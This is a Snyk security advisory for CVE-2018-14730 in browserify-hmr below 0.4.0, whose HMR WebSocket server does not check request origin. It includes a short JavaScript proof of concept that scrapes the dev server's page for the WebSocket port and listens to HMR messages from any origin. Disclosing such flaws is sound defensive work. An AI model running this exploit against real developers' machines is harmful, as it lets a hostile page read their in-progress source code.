Access Restriction Bypass Affecting browserify-hmr package, versions <0.4.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.43% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Access Restriction Bypass vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-BROWSERIFYHMR-173684
  • published13 Feb 2019
  • disclosed21 Sept 2018
  • creditchromium1337

Introduced: 21 Sep 2018

CVE-2018-14730  (opens in a new tab)
CWE-284  (opens in a new tab)

How to fix?

Upgrade browserify-hmr to version 0.4.0 or higher.

Overview

browserify-hmr is an implementation of Webpack's Hot Module Replacement API as a plugin for Browserify.

Affected versions of this package are vulnerable to Access Restriction Bypass. The origin of requests was not checked by the WebSocket server, which is used for HMR (Hot Module Replacement). Anyone could receive the HMR message sent by the WebSocket server via a ws://127.0.0.1:3123/ connection from any origin.

POC

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:1234');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
var ws;
fetch(target).then(r => {
    r.text().then(r => {
        let scriptSrc = r.match(/<script src=\"(.*?)\"><\/script>/)[1];
        fetch(`${target}${scriptSrc}`).then(r => {
            r.text().then(r => {
                let wsPort = r.match(/new WebSocket.*?(\d{4,5})/)[1];
                wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}`;
                ws = new WebSocket(wsTarget);
                ws.onmessage = event => {
                    console.log(event.data)
                };
            })
        })
    })
});

CVSS Scores

version 3.1